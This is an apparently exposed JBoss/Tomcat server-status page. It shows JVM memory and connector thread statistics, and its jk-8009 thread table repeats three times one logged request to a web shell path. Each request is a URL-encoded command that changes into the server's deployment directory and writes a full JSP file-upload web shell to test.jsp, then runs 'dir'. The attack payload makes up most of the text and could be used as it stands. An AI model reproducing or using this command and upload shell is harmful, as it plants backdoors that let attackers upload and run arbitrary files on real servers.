JVM

Free memory: 881.71 MB Total memory: 952.93 MB Max memory: 952.93 MB

http-0.0.0.0-8080

Max threads: 150 Min spare threads: 25 Max spare threads: 75 Current thread count: 25 Current thread busy: 1
Max processing time: 750 ms Processing time: 610 s Request count: 45794 Error count: 0 Bytes received: 0.00 MB Bytes sent: 1497.34 MB

StageTimeB SentB RecvClientVHostRequest
R??????
R??????
R??????
R??????
R??????
R??????
R??????

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

jk-8009

Max threads: 200 Min spare threads: 25 Max spare threads: 75 Current thread count: 75 Current thread busy: 38
Max processing time: 109246 ms Processing time: 2576 s Request count: 18311 Error count: 10156 Bytes received: 0.00 MB Bytes sent: 444.35 MB

StageTimeB SentB RecvClientVHostRequest
S784341765 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S784323106 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S784281149 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
